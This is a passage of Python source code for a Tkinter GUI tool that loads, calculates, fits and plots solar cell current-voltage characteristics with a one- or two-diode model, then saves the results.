(self.VoltageX)    != len(self.CurrentX))      or \r\n                (not (self.VoltageX     >= -500.0).all())           or \r\n                (not (self.VoltageX     <=  500.0).all())           or \r\n                (not (self.CurrentX     >= -500.0).all())           or \r\n                (not (self.CurrentX     <=  500.0).all())           or\r\n                (not self.isIncSorted(self.VoltageX))):\r\n                raise Exception('invalid voltage/current data')\r\n            # end if\r\n\r\n            nPoints                 = len(self.VoltageX)\r\n            \r\n            (aVoltage, aCurrent, VOC, ISC, Vm, Im, FF, countPV, nQindex) = self.checkQuadrant(self.VoltageX, self.CurrentX)\r\n            self.VoltageX           = aVoltage\r\n            self.CurrentX           = aCurrent\r\n            self.VOCX               = VOC\r\n            self.ISCX               = ISC\r\n            self.VmX                = Vm\r\n            self.ImX                = Im\r\n            self.FFX                = FF\r\n\r\n            if (countPV < (nPoints // 5)) or (countPV < self.nPointsMin):\r\n                raise Exception('invalid voltage/current: insufficient number of photovoltaic points (%d): should be greater than %d' % (countPV, self.nPointsMin))\r\n            # end if\r\n            nPoints = len(self.VoltageX)\r\n\r\n            if self.verbose and (nQindex != 4):\r\n                print('\\ncurrent-voltage characteristic converted from quadrant %d to quadrant 4' % nQindex)\r\n            # end if\r\n            self.PVpoints = countPV\r\n\r\n            self.ISCX = math.fabs(self.ISCX)\r\n            if (self.ISCX > 0.0) and (self.VOCX > 0.0):\r\n                self.FFX = math.fabs((self.VmX * self.ImX) / (self.VOCX * self.ISCX))\r\n                if (self.FFX > 1.0):\r\n                    # should never happen\r\n                    self.FFX = 0.0\r\n                # end if\r\n                self.Isc = self.ISCX\r\n                if self.GUIstarted:\r\n                    self.IscEdit.delete(0, Tk.END)\r\n                    self.IscEdit.insert(0, \"%.4g\" % self.Isc)\r\n                # end if\r\n            # end if\r\n\r\n            self.nPoints    = nPoints if (nPoints >= self.nPointsMin) else self.nPointsDef\r\n            Vstep           = (self.VoltageX[nPoints - 1] - self.VoltageX[0]) / float(self.nPoints)\r\n            Vstart          = self.VoltageX[0]\r\n            if (Vstart > 0.0):\r\n                Vstart = 0.0\r\n            # end if\r\n            Vend                = self.VoltageX[nPoints - 1]\r\n            if (self.CurrentX[nPoints - 1] < 0.0):\r\n                VendC = Vend\r\n                for aV in np.arange(VendC, VendC + 100.0 * Vstep, Vstep):\r\n                    (aI, aIZ) = self.calculateCurrent(aV)\r\n                    if aI >= 0.0:\r\n                        Vend    = VendC\r\n                        break\r\n                     # end if\r\n                # end for\r\n            # end if\r\n            self.Vstart     = Vstart\r\n            self.Vend       = Vend\r\n            self.VoltageY   = np.arange(Vstart, Vend + Vstep, Vstep)\r\n            self.CurrentY   = None\r\n\r\n            if (self.ISCX > 0.0) and (self.VOCX > 0.0) and (self.FFX > 0.0):\r\n                self.reportMessage = \"Isc = %.4g A ; Voc = %.4g V ; FF = %.4g %% ; Pm = %.4g W\" % (self.ISCX, self.VOCX, 100.0 * self.FFX, self.FFX * self.ISCX * self.VOCX)\r\n            else:\r\n                self.reportMessage = \"! The photovoltaic parameters cannot be extracted\"\r\n            # end if\r\n            if self.verbose:\r\n                print(\"\\n\" + self.reportMessage)\r\n            # end if\r\n\r\n            if self.useTkinterGUI:\r\n                self.datax[1] = self.VoltageX\r\n                self.datay[1] = self.CurrentX\r\n            # end if\r\n\r\n            self.FileLoaded = True\r\n            return True\r\n\r\n        except Exception as excT:\r\n            self.VoltageX = None\r\n            self.CurrentX = None\r\n            excType, excObj, excTb = sys.exc_info()\r\n            excFile = os.path.split(excTb.tb_frame.f_code.co_filename)[1]\r\n            strErr  = \"\\n! cannot load the current-voltage characteristic:\\n  %s\\n  in %s (line %d)\\n\" % (str(excT), excFile, excTb.tb_lineno)\r\n            self.reportMessage = '! cannot load the current-voltage characteristic'\r\n            if self.verbose:\r\n                print(strErr)\r\n            # end if\r\n            return False\r\n            # never reached\r\n            pass\r\n        # end try\r\n\r\n    # end loadFile\r\n\r\n    def FitFunc(self, aVoltage, Isc, Is1, n1, Is2, n2, Rs, Rp):\r\n        self.Isc        = Isc\r\n        self.Is1        = Is1\r\n        self.n1         = n1\r\n        if self.Diode2:\r\n            self.Is2    = Is2\r\n            self.n2     = n2\r\n        # end if\r\n        self.Rs         = Rs\r\n        self.Rp         = Rp\r\n        aCurrent        = np.array([])\r\n        for aV in aVoltage:\r\n            (aI, aIZ)   = self.calculateCurrent(aV)\r\n            aCurrent    = np.append(aCurrent, aI)\r\n        # end for\r\n        return aCurrent\r\n    # end FitFunc\r\n\r\n    def FitFuncD(self, aVoltage, Isc, Is1, n1, Rs, Rp):\r\n        return self.FitFunc(aVoltage, Isc, Is1, n1, 0.0, self.n2, Rs, Rp)\r\n    # end FitFuncD\r\n\r\n    def CurrentFunc(self, I, V):\r\n        Vp   = V - (self.Rs * I)\r\n        Isc  = -self.Isc\r\n        Iph  = Isc\r\n        Iph += (self.Is1 * (math.exp(self.Rs * Isc / (self.n1 * self.Ncells * self.VT)) - 1.0))\r\n        if self.Diode2:\r\n            Iph += (self.Is2 * (math.exp(self.Rs * Isc / (self.n2 * self.Ncells * self.VT)) - 1.0))\r\n        # end if\r\n        Iph += ((self.Rs / self.Rp) * Isc)\r\n        fI   = Iph\r\n        fI  += (self.Is1 * (math.exp(Vp / (self.n1 * self.Ncells * self.VT)) - 1.0))\r\n        if self.Diode2:\r\n            fI  += (self.Is2 * (math.exp(Vp / (self.n2 * self.Ncells * self.VT)) - 1.0))\r\n        # end if\r\n        fI  += (Vp / self.Rp)\r\n        fI  -= I\r\n        return fI\r\n    # end CurrentFunc\r\n\r\n    def calculateCurrent(self, V):\r\n        fIZ  = -self.Isc\r\n        fIZ += (self.Is1 * (math.exp(V / (self.n1 * self.Ncells * self.VT)) - 1.0))\r\n        if self.Diode2:\r\n            fIZ += (self.Is2 * (math.exp(V / (self.n2 * self.Ncells * self.VT)) - 1.0))\r\n        # end if\r\n        fIZ += (V / self.Rp)\r\n        fI   = spo.fsolve(self.CurrentFunc, x0=fIZ, args=(V,))\r\n        return (fI, fIZ)\r\n    # end calculateCurrent\r\n\r\n    # calculate the current-voltage characteristic\r\n    def calculateCharacteristic(self):\r\n        try:\r\n\r\n            # check the voltage range\r\n            if (self.VoltageY is None) or (self.Vend <= self.Vstart) or ((self.Vstart <= 0.0) and (self.Vend <= 0.0)):\r\n                self.Vstart     = 0.0\r\n                self.Vend       = 1.0\r\n            # end if\r\n            if (self.nPoints   < self.nPointsMin):\r\n                self.nPoints = self.nPointsMin\r\n            elif (self.nPoints > self.nPointsMax):\r\n                self.nPoints = self.nPointsMax\r\n            # end if\r\n            if (self.Vstart > 0.0):\r\n                self.Vstart  = 0.0\r\n            # end if\r\n            (aI, aIZ) = self.calculateCurrent(self.Vend)\r\n            if (aI < 0.0):\r\n                Vend    = self.Vend if (self.Vend > self.VOCX) else self.VOCX\r\n                Vstep   = (Vend - self.Vstart) / float(self.nPoints)\r\n                for aV in np.arange(Vend, Vend + 100.0 * Vstep, Vstep):\r\n                    (aI, aIZ) = self.calculateCurrent(aV)\r\n                    if aI > 0.0:\r\n                        self.Vend = aV + Vstep\r\n                        break\r\n                     # end if\r\n                # end for\r\n            # end if\r\n            #\r\n\r\n            Vstep = (self.Vend - self.Vstart) / float(self.nPoints)\r\n            self.VoltageY = np.arange(self.Vstart, self.Vend + Vstep, Vstep)\r\n            self.CurrentY = np.zeros(self.nPoints)\r\n            for ii in range(0, self.nPoints):\r\n                (aI, aIZ) = self.calculateCurrent(self.VoltageY[ii])\r\n                self.CurrentY[ii] = aI\r\n            #\r\n\r\n            (aVoltage, aCurrent, VOC, ISC, Vm, Im, FF, countPV, nQindex) = self.checkQuadrant(self.VoltageY, self.CurrentY)\r\n            self.VoltageY           = aVoltage\r\n            self.CurrentY           = aCurrent\r\n            self.VOCY               = VOC\r\n            self.ISCY               = ISC\r\n            self.VmY                = Vm\r\n            self.ImY                = Im\r\n            self.FFY                = FF\r\n            # end for\r\n\r\n            if (countPV < self.nPointsMin) and (math.fabs(self.VOCY) > 0.0) and (math.fabs(self.ISCY) > 0.0):\r\n                # recalculate with more points\r\n                Vstep = math.fabs(self.VOCY) / float(self.nPoints)\r\n                self.VoltageY = np.arange(0.0, self.VOCY + Vstep, Vstep)\r\n                self.CurrentY = np.array([])\r\n                for aV in self.VoltageY:\r\n                    (aI, aIZ) = self.calculateCurrent(aV)\r\n                    self.CurrentY = np.append(self.CurrentY, aI)\r\n                    if (aI < 0.0) and (aV > 0.0) and (math.fabs(aI * aV) > aPm):\r\n                        aPm = math.fabs(aI * aV)\r\n                        self.VmY = aV\r\n                        self.ImY = aI\r\n                    # end if\r\n                # end for\r\n            # end if\r\n\r\n            self.ISCY = math.fabs(self.ISCY)\r\n            if (self.ISCY > 0.0) and (self.VOCY > 0.0):\r\n                self.FFY = math.fabs((self.VmY * self.ImY) / (self.VOCY * self.ISCY))\r\n                if (self.FFY > 1.0):\r\n                    # should never happen\r\n                    self.FFY = 0.0\r\n                # end if\r\n            # end if\r\n\r\n            if (self.ISCY > 0.0) and (self.VOCY > 0.0) and (self.FFY > 0.0):\r\n                self.reportMessage = \"Isc = %.4g A ; Voc = %.4g V ; FF = %.4g %% ; Pm = %.4g W\" % (self.ISCY, self.VOCY, 100.0 * self.FFY, self.FFY * self.ISCY * self.VOCY)\r\n            else:\r\n                self.reportMessage = \"! The photovoltaic parameters cannot be calculated\"\r\n            # end if\r\n            if self.verbose:\r\n                print(\"\\n\" + self.reportMessage)\r\n            # end if\r\n\r\n            return True\r\n\r\n        except Exception as excT:\r\n\r\n            excType, excObj, excTb = sys.exc_info()\r\n            excFile = os.path.split(excTb.tb_frame.f_code.co_filename)[1]\r\n            strErr  = \"\\n! cannot calculate the current-voltage characteristic:\\n  %s\\n  in %s (line %d)\\n\" % (str(excT), excFile, excTb.tb_lineno)\r\n            self.reportMessage = '! cannot calculate the current-voltage characteristic'\r\n            if self.verbose:\r\n                print(strErr)\r\n            # end if\r\n            return False\r\n            # never reached\r\n            pass\r\n\r\n        # end try\r\n\r\n    # end calculateCharacteristic\r\n\r\n    def monitorCalculation(self):\r\n        running = self.isRunning()\r\n        try:\r\n            if not running:\r\n                self.setRunning(running = False)\r\n                if self.threadfinish is not None:\r\n                    self.threadfinish()\r\n                    self.threadfinish = None\r\n                # end if\r\n                return\r\n            # end if\r\n            if self.root:\r\n                self.root.after(self.timerduration if ((self.timerduration >= 100) and (self.timerduration <= 1000)) else 200, self.monitorCalculation)\r\n            # end if\r\n        except Exception as excT:\r\n            pass\r\n        # end try\r\n    # end monitorCalculation\r\n\r\n    def getFloatValue(self, ValueEdit, ValueDef, ValueMin, ValueMax, ValueFormat):\r\n        try:\r\n            strT = ValueEdit.get().strip(\"\\r\\n\\t\")\r\n            fT = float(strT)\r\n            if (fT >= ValueMin) and (fT <= ValueMax):\r\n                return fT\r\n            else:\r\n                ValueEdit.delete(0, Tk.END)\r\n                ValueEdit.insert(0, ValueFormat % ValueDef)\r\n                return ValueDef\r\n            # end if\r\n        except:\r\n            return ValueDef\r\n            # never reached\r\n            pass\r\n        # end try\r\n    # end getFloatValue\r\n\r\n    # start the current-voltage characteristic calculation\r\n    def start(self, Fit = False):\r\n\r\n        if self.isRunning():\r\n            return False\r\n        # end if\r\n\r\n        self.reportMessage = None\r\n\r\n        self.loadFile()\r\n\r\n        if self.GUIstarted:\r\n\r\n            if self.report is not None:\r\n                self.report.set_text(\" \")\r\n            # end if\r\n\r\n            # get the input parameters\r\n\r\n            self.Temperature    = self.getFloatValue(self.TemperatureEdit, self.Temperature, 100.0, 500.0, \"%.1f\")\r\n            self.VT             = self.VT300 * self.Temperature / 300.0\r\n\r\n            self.Isc            = self.getFloatValue(self.IscEdit,      self.Isc,       0.0,    100.0,  \"%.3g\")\r\n\r\n            self.Is1            = self.getFloatValue(self.Is1Edit,      self.Is1,       1e-15,  1e-3,   \"%.3g\")\r\n            self.n1             = self.getFloatValue(self.n1Edit,       self.n1,        1.0,    100.0,  \"%.3f\")\r\n\r\n            self.Is2            = self.getFloatValue(self.Is2Edit,      self.Is2,       0.0,    1e-3,   \"%.3g\")\r\n            self.n2             = self.getFloatValue(self.n2Edit,       self.n2,        1.0,    200.0,  \"%.3f\")\r\n            self.Diode2         = self.Diode2Var.get()\r\n\r\n            self.Rs             = self.getFloatValue(self.RsEdit,       self.Rs,        1e-6,   1e6,    \"%.3g\")\r\n            self.Rp             = self.getFloatValue(self.RpEdit,       self.Rp,        1e-3,   1e9,    \"%.3g\")\r\n\r\n            # Number of solar cells in series\r\n            self.Ncells         = self.getFloatValue(self.NcellsEdit,   self.Ncells,    1,      1000,   \"%d\")\r\n\r\n            self.Vstart         = self.getFloatValue(self.VstartEdit,   self.Vstart,    0.0,    1000.0, \"%g\")\r\n            self.Vend           = self.getFloatValue(self.VendEdit,     self.Vend,      0.0,    1000.0, \"%g\")\r\n\r\n            try:\r\n                strT = self.InputFilenameEdit.get().strip(\"\\r\\n\\t\")\r\n                if os.path.isfile(strT):\r\n                    self.InputFilename = strT\r\n                else:\r\n                    self.InputFilenameEdit.delete(0, Tk.END)\r\n                    self.InputFilenameEdit.insert(0, self.InputFilename if (self.InputFilename is not None) else \"\")\r\n                # end if\r\n            except:\r\n                pass\r\n            # end try\r\n\r\n            # start calculations\r\n            if self.useTkinterGUI:\r\n                self.actionbutton = self.btnFit if Fit else self.btnCalculate\r\n                self.actionbuttonText = \"Fit\" if Fit else \"Calculate\"\r\n            # end if\r\n            self.setRunning(running = True)\r\n            self.thread = CalculationThread(id=1, func=self.fit if Fit else self.run)\r\n            self.threadfinish = self.updatePlot\r\n            self.thread.start()\r\n            self.monitorCalculation()\r\n\r\n        else:\r\n            # GUI initialization step\r\n            if self.useTkinterGUI:\r\n                self.actionbutton = self.btnFit if Fit else self.btnCalculate\r\n                self.actionbuttonText = \"Fit\" if Fit else \"Calculate\"\r\n                self.setRunning(running = True)\r\n                self.thread = CalculationThread(id=1, func=self.fit if Fit else self.run)\r\n                self.threadfinish = self.updatePlot\r\n                self.thread.start()\r\n                self.monitorCalculation()\r\n            else:\r\n                self.setRunning(running = True)\r\n                self.run()\r\n                self.setRunning(running = False)\r\n                self.doSave(self.OutputFilename)\r\n            # end if\r\n        # end if\r\n\r\n     # end start\r\n\r\n    # run the current-voltage characteristic calculation\r\n    def run(self):\r\n\r\n        try:\r\n            if self.verbose:\r\n                print(\"\\ncalculating...\")\r\n            # end if\r\n\r\n            # to determine the calculation duration\r\n            ticT = time.time()\r\n\r\n            # calculate the current-voltage characteristic\r\n            bRet = self.calculateCharacteristic()\r\n            if not bRet:\r\n                if self.verbose:\r\n                    print(\"\\ndone.\")\r\n                # end if\r\n                return False\r\n            # endif\r\n\r\n            if self.useTkinterGUI:\r\n                self.datax[0] = self.VoltageY\r\n                self.datay[0] = self.CurrentY\r\n            # endif\r\n\r\n            self.tic = float(time.time() - ticT)\r\n\r\n            if self.verbose:\r\n                print(\"\\ndone. elapsed time = %.6f sec.\" % self.tic)\r\n            # end if\r\n\r\n            return True\r\n\r\n        except Exception as excT:\r\n\r\n            excType, excObj, excTb = sys.exc_info()\r\n            excFile = os.path.split(excTb.tb_frame.f_code.co_filename)[1]\r\n            strErr  = \"\\n! cannot calculate the current-voltage characteristic:\\n  %s\\n  in %s (line %d)\\n\" % (str(excT), excFile, excTb.tb_lineno)\r\n            self.reportMessage = '! cannot calculate the current-voltage characteristic'\r\n            if self.verbose:\r\n                print(strErr)\r\n            # end if\r\n            return False\r\n            # never reached\r\n            pass\r\n\r\n        # end try\r\n\r\n    # end run\r\n\r\n    def fit(self):\r\n\r\n        try:\r\n            if self.verbose:\r\n                print(\"\\nfitting...\")\r\n            # end if\r\n\r\n            if not self.FileLoaded:\r\n                if self.verbose:\r\n                    print(\"\\ndone.\")\r\n                # end if\r\n                return False\r\n            # end if\r\n\r\n            if self.useTkinterGUI:\r\n                self.datax[1] = self.VoltageX\r\n                self.datay[1] = self.CurrentX\r\n            # end if\r\n\r\n            # to determine the calculation duration\r\n            ticT = time.time()\r\n\r\n            bRet = False\r\n\r\n            try:\r\n                if dver.StrictVersion(sp.__version__) >= dver.StrictVersion(\"0.19.1\"):\r\n                    popt, pcov = spo.curve_fit(self.FitFunc if self.Diode2 else self.FitFuncD, self.VoltageX, self.CurrentX,\r\n                        bounds=([1e-15, 1e-15, 1.0, 0.0, 1.0, 1e-9, 1e-6] if self.Diode2 else [1e-15, 1e-15, 1.0, 1e-9, 1e-6],\r\n                        [10.0, 1e-3, 100.0, 1e-3, 100.0, 1e6, 1e9] if self.Diode2 else [10.0, 1e-3, 100.0, 1e6, 1e9]),\r\n                        p0=np.array([self.Isc, self.Is1, self.n1, self.Is2, self.n2, self.Rs, self.Rp] if self.Diode2 else [self.Isc, self.Is1, self.n1, self.Rs, self.Rp]),\r\n                        maxfev=100)\r\n                else:\r\n                    popt, pcov = spo.curve_fit(self.FitFunc if self.Diode2 else self.FitFuncD, self.VoltageX, self.CurrentX,\r\n                        bounds=([1e-15, 1e-15, 1.0, 0.0, 1.0, 1e-9, 1e-6] if self.Diode2 else [1e-15, 1e-15, 1.0, 1e-9, 1e-6],\r\n                        [10.0, 1e-3, 100.0, 1e-3, 100.0, 1e6, 1e9] if self.Diode2 else [10.0, 1e-3, 100.0, 1e6, 1e9]),\r\n                        p0=np.array([self.Isc, self.Is1, self.n1, self.Is2, self.n2, self.Rs, self.Rp] if self.Diode2 else [self.Isc, self.Is1, self.n1, self.Rs, self.Rp]))\r\n                # end if\r\n                self.Isc        = popt[0]\r\n                self.Is1        = popt[1]\r\n                self.n1         = popt[2]\r\n                if self.Diode2:\r\n                    self.Is2    = popt[3]\r\n                    self.n2     = popt[4]\r\n                    self.Rs     = popt[5]\r\n                    self.Rp     = popt[6]\r\n                else:\r\n                    self.Rs     = popt[3]\r\n                    self.Rp     = popt[4]\r\n                # end if\r\n\r\n                # calculate the current-voltage characteristic\r\n                bRet = self.calculateCharacteristic()\r\n                if not bRet:\r\n                    if self.verbose:\r\n                        print(\"\\ndone.\")\r\n                    # end if\r\n                    return False\r\n                # endif\r\n\r\n                if self.useTkinterGUI:\r\n                    self.datax[0] = self.VoltageY\r\n                    self.datay[0] = self.CurrentY\r\n                # endif\r\n\r\n            except Exception as excT:\r\n                self.reportMessage = '! fitting error: ' + str(excT)\r\n                if self.verbose:\r\n                    print(\"\\nfitting error: \" + str(excT))\r\n                # end if\r\n                bRet = False\r\n                pass\r\n            # end try\r\n\r\n            self.tic = float(time.time() - ticT)\r\n\r\n            if self.verbose:\r\n                print(\"\\ndone. elapsed time = %.6f sec.\" % self.tic)\r\n            # end if\r\n\r\n            return bRet\r\n\r\n        except Exception as excT:\r\n\r\n            excType, excObj, excTb = sys.exc_info()\r\n            excFile = os.path.split(excTb.tb_frame.f_code.co_filename)[1]\r\n            strErr  = \"\\n! cannot fit the current-voltage characteristic:\\n  %s\\n  in %s (line %d)\\n\" % (str(excT), excFile, excTb.tb_lineno)\r\n            self.reportMessage = '! cannot fit the current-voltage characteristic'\r\n            if self.verbose:\r\n                print(strErr)\r\n            # end if\r\n            return False\r\n            # never reached\r\n            pass\r\n\r\n        # end try\r\n\r\n    # end run\r\n\r\n    # Check and convert the I-V quadrant to Q4\r\n    def checkQuadrant(self, aVoltage, aCurrent):\r\n\r\n        nPoints = len(aVoltage)\r\n\r\n        # V > 0 and I > 0: to convert to Q4\r\n        # V < 0 and I > 0: to convert to Q4\r\n        # V < 0 and I < 0: to convert to Q4\r\n        # V > 0 and I < 0: the used quadrant\r\n        nQ  = [0, 0, 0, 0]\r\n        for aV, aI in zip(aVoltage, aCurrent):\r\n            if      (aI > 0.0) and (aV > 0.0):\r\n                nQ[0] += 1\r\n            elif    (aI > 0.0) and (aV < 0.0):\r\n                nQ[1] += 1\r\n            elif    (aI < 0.0) and (aV < 0.0):\r\n                nQ[2] += 1\r\n            elif    (aI < 0.0) and (aV > 0.0):\r\n                nQ[3] += 1\r\n            # end if\r\n        # end for\r\n        nQmax   = max(nQ)\r\n        nQindex = nQ.index(nQmax) + 1\r\n        if (nQmax < (nPoints / 2)):\r\n            raise Exception('! invalid voltage/current data: no photovoltaic quadrant identified')\r\n        # end if\r\n\r\n        aVQ             = np.copy(aVoltage)\r\n        aIQ             = np.copy(aCurrent)\r\n        aVoltage        = np.array([])\r\n        aCurrent        = np.array([])\r\n        aIprev          = None\r\n        aVprev          = None\r\n        aPm             = 0.\r\n        VOC             = aVQ[nPoints - 1]\r\n        ISC             = aIQ[0]\r\n        Vm              = 0.0\r\n        Im              = 0.0\r\n        FF              = 0.0\r\n        countPV         = 0\r\n\r\n        # keep only the photovoltaic part of the current-voltage characteristic\r\n        # and convert to the fourth quadrant (V > 0 and I < 0) if necessary\r\n\r\n        ii = 0\r\n        for aV, aI in zip(aVQ, aIQ):\r\n\r\n            if (nQindex != 4):\r\n                # always use the solar cell current-voltage characteristic in the fourth quadrant 4 (V > 0 and I < 0)\r\n                if      (nQindex == 1):\r\n                    aI  = -aI\r\n                elif    (nQindex == 2):\r\n                    aI  = -aI\r\n                    aV  = -aV\r\n                elif    (nQindex == 3):\r\n                    aV  = -aV\r\n                # end if\r\n                aVQ[ii] = aV\r\n                aIQ[ii] = aI\r\n            # end if\r\n\r\n            if (aIprev is not None) and (aI >= 0.0) and (aIprev <= 0.0):\r\n                VOC = aV\r\n            # end if\r\n            if (aVprev is not None) and (aV >= 0.0) and (aVprev <= 0.0):\r\n                ISC = aI\r\n            # end if\r\n            if (aI <= 0.0) and (aV >= 0.0):\r\n                countPV += 1\r\n                aVoltage = np.append(aVoltage, aV)\r\n                aCurrent = np.append(aCurrent, aI)\r\n            # end if\r\n            if (aI < 0.0) and (aV > 0.0) and (math.fabs(aI * aV) > aPm):\r\n                aPm = math.fabs(aI * aV)\r\n                Vm = aV\r\n                Im = aI\r\n            # end if\r\n            aVprev = aV\r\n            aIprev = aI\r\n            ii    += 1\r\n\r\n        # end for\r\n\r\n        FF = (Vm * Im) / (VOC * ISC)\r\n        return (aVoltage, aCurrent, VOC, ISC, Vm, Im, FF, countPV, nQindex)\r\n    #\r\n\r\n    # plot the current-voltage characteristic\r\n    def updatePlot(self):\r\n\r\n        if (not self.useTkinterGUI):\r\n            return\r\n        # end if\r\n\r\n        try:\r\n \r\n            if not self.PlotInitialized:\r\n\r\n                aLabel = [\"Calculated\", None]\r\n                for idc in range(0, self.curvecount):\r\n                    self.line[idc], = self.plot[0].plot(np.array([]), np.array([]), self.linestyle[idc], label=aLabel[idc], linewidth=self.linesize[idc], zorder=4)\r\n                    self.line[idc].set_color(self.linecolor[idc])\r\n                # end for\r\n\r\n                self.scatter[0], = self.plot[0].plot(np.array([]), np.array([]), 'go', zorder=4, label=None)\r\n                self.scatter[0].set_markerfacecolor('g')\r\n                self.scatter[0].set_markeredgecolor('g')\r\n                self.scatter[0].set_markersize(7)\r\n\r\n                self.line0a = self.plot[0].axhline(y=0, xmin=0, xmax=1, linewidth=2, color='k')\r\n                self.line0b = self.plot[0].axvline(x=0, ymin=0, ymax=1, linewidth=2, color='k')\r\n\r\n                for idp in range(0, self.plotcount):\r\n                    self.plot[idp].get_xaxis().set_visible(True)\r\n                    self.plot[idp].get_yaxis().set_visible(True)\r\n                # end for\r\n\r\n                self.plot[0].legend(numpoints=1, loc='best')\r\n                self.plot[0].grid()\r\n\r\n                afont = FontProperties()\r\n                tfont = afont.copy()\r\n                tfont.set_style('normal')\r\n                tfont.set_weight('bold')\r\n                tfont.set_size('small')\r\n                self.report = self.plot[0].text(0.5, 1.05, ' ', color='red', horizontalalignment='center', verticalalignment='center', fontsize=self.fontsize, transform = self.plot[0].transAxes)\r\n\r\n                self.PlotInitialized = True\r\n\r\n            # end if\r\n\r\n            GeneratorConvention = self.GeneratorConventionVar.get()\r\n\r\n            for idc in range(0, self.curvecount):\r\n                if (self.datax[idc] is not None):\r\n                    datay = -self.datay[idc] if GeneratorConvention else self.datay[idc]\r\n                else:\r\n                    datay = None\r\n                # end if\r\n                self.line[idc].set_xdata(self.datax[idc] if (self.datax[idc] is not None) else np.array([]))\r\n                self.line[idc].set_ydata(datay if (datay is not None) else np.array([]))\r\n            # end for\r\n\r\n            self.scatter[0].set_xdata(self.VmY)\r\n            self.scatter[0].set_ydata(-self.ImY if GeneratorConvention else self.ImY)\r\n\r\n            for idp in range(0, self.plotcount):\r\n                self.plot[idp].relim()\r\n                self.plot[idp].autoscale()\r\n            # end for\r\n\r\n            if (self.reportMessage is not None):\r\n                self.report.set_color('red' if self.reportMessage.startswith('!') else 'green')\r\n                self.report.set_text(self.reportMessage)\r\n            # end if\r\n\r\n            self.canvas.draw()\r\n\r\n            if self.GUIstarted:\r\n                self.IscEdit.delete(0, Tk.END)\r\n                self.IscEdit.insert(0, \"%.4g\" % self.Isc)\r\n                self.Is1Edit.delete(0, Tk.END)\r\n                self.Is1Edit.insert(0, \"%.4g\" % self.Is1)\r\n                self.n1Edit.delete (0, Tk.END)\r\n                self.n1Edit.insert (0, \"%.4f\" % self.n1)\r\n                if self.Diode2:\r\n                    self.Is2Edit.delete(0, Tk.END)\r\n                    self.Is2Edit.insert(0, \"%.4g\" % self.Is2)\r\n                    self.n2Edit.delete (0, Tk.END)\r\n                    self.n2Edit.insert (0, \"%.4f\" % self.n2)\r\n                # end if\r\n                self.RsEdit.delete (0, Tk.END)\r\n                self.RsEdit.insert (0, \"%.4g\" % self.Rs)\r\n                self.RpEdit.delete (0, Tk.END)\r\n                self.RpEdit.insert (0, \"%.4g\" % self.Rp)\r\n                self.NcellsEdit.delete (0, Tk.END)\r\n                self.NcellsEdit.insert (0, \"%d\" % self.Ncells)\r\n                self.VstartEdit.delete (0, Tk.END)\r\n                self.VstartEdit.insert (0, \"%g\" % self.Vstart)\r\n                self.VendEdit.delete (0, Tk.END)\r\n                self.VendEdit.insert (0, \"%g\" % self.Vend)\r\n            # end if\r\n\r\n            self.btnFit.configure(state=\"normal\" if self.FileLoaded else \"disabled\")\r\n\r\n        except Exception as excT:\r\n\r\n            excType, excObj, excTb = sys.exc_info()\r\n            excFile = os.path.split(excTb.tb_frame.f_code.co_filename)[1]\r\n            strErr  = \"\\n! cannot plot data:\\n  %s\\n  in %s (line %d)\\n\" % (str(excT), excFile, excTb.tb_lineno)\r\n            if self.verbose:\r\n                print(strErr)\r\n            # end if\r\n            pass\r\n\r\n        # end try\r\n\r\n    # end updatePlot\r\n\r\n    def onFloatValidate(self, sp):\r\n        try:\r\n            if (not sp):\r\n                return True\r\n            # end if\r\n            slen = len(sp)\r\n            if slen < 1:\r\n                return True\r\n            # end if\r\n            if (slen > 12):\r\n                sp = sp[:12]\r\n                slen = len(sp)\r\n            #\r\n            if (slen <= 12):\r\n                try:\r\n                    spr = sp + '0'\r\n                    float(spr)\r\n                except ValueError:\r\n                    if any(c not in '0123456789-+.e' for c in sp):\r\n                        return False\r\n                    # end if\r\n                    pass\r\n                # end try\r\n                self.TargetEdit.prev = sp\r\n                return True\r\n            # end if\r\n            return False\r\n        except:\r\n            return True\r\n        # end try\r\n    # end onFloatValidate\r\n\r\n    def onInputFilenameValidate(self, sp):\r\n        try:\r\n            if (not sp) or (len(sp) <= 255):\r\n                self.dataFilenameEdit.prev = sp\r\n                return True\r\n            # end if\r\n            return False\r\n        except:\r\n            return True\r\n        # end try\r\n    # end onInputFilenameValidate\r\n\r\n    def onBrowse(self):\r\n        if self.isRunning():\r\n            return\r\n        # end if\r\n\r\n        fileopt = {}\r\n        fileopt['defaultextension'] = 'txt'\r\n        fileopt['filetypes'] = [('Current-Voltage Characteristic File', '*.txt')]\r\n        fileopt['initialfile'] = self.InputFilename\r\n        fileopt['parent'] = self.root\r\n        fileopt['title'] = 'Open the Current-Voltage Characteristic File'\r\n        inputFilename = tkFileDialog.askopenfilename(**fileopt)\r\n        if inputFilename:\r\n            try:\r\n                self.InputFilenameEdit.delete(0, Tk.END)\r\n                self.InputFilenameEdit.insert(0, inputFilename)\r\n                self.ModifTime  = self.getModifTime(inputFilename)\r\n                self.FileLoaded = False\r\n                self.loadFile()\r\n                self.updatePlot()\r\n            except:\r\n                pass\r\n            # end try\r\n        # end if\r\n    # end onBrowse\r\n\r\n    def onEnter(self, tEvent):\r\n        return self.start(Fit = False)\r\n    # end onEnter\r\n\r\n    def onDiode2Opt(self):\r\n        try:\r\n            self.Diode2 = self.Diode2Var.get()\r\n            self.Is2Edit.configure(state=\"normal\" if self.Diode2 else \"disabled\")\r\n            self.n2Edit.configure (state=\"normal\" if self.Diode2 else \"disabled\")\r\n        except:\r\n            pass\r\n    # end onDiode2Opt\r\n\r\n    def onGeneratorConvention(self):\r\n        try:\r\n            self.updatePlot()\r\n        except:\r\n            pass\r\n    # end onGeneratorConvention\r\n\r\n    def onStart(self):\r\n        return self.start(Fit = False)\r\n    # end onStart\r\n\r\n    def onFit(self):\r\n        return self.start(Fit = True)\r\n    # end onFit\r\n\r\n    def doSave(self, strFilename, savePDF = False):\r\n\r\n        if (not strFilename) or self.isRunning():\r\n            return\r\n        # end if\r\n\r\n        try:\r\n        \r\n            Fname = os.path.splitext(strFilename)[0]\r\n            if savePDF and self.GUIstarted:\r\n                fileToSavePNG = Fname + '.png'\r\n                fileToSavePDF = Fname + '.pdf'\r\n                self.figure.savefig(fileToSavePNG)\r\n                pdfT = PdfPages(fileToSavePDF)\r\n                pdfT.savefig(self.figure)\r\n                pdfT.close()\r\n            # end if\r\n\r\n            # save output data in text format\r\n            fileIV = Fname + '_IV.txt'          # current-voltage characteristic\r\n            np.savetxt(fileIV, np.c_[self.VoltageY, self.CurrentY],\r\n                fmt='%.6f\\t%.8g', delimiter=self.DataDelimiter, newline='\\n',\r\n                header=(\"Current-voltage characteristic for:\\n  ISC = 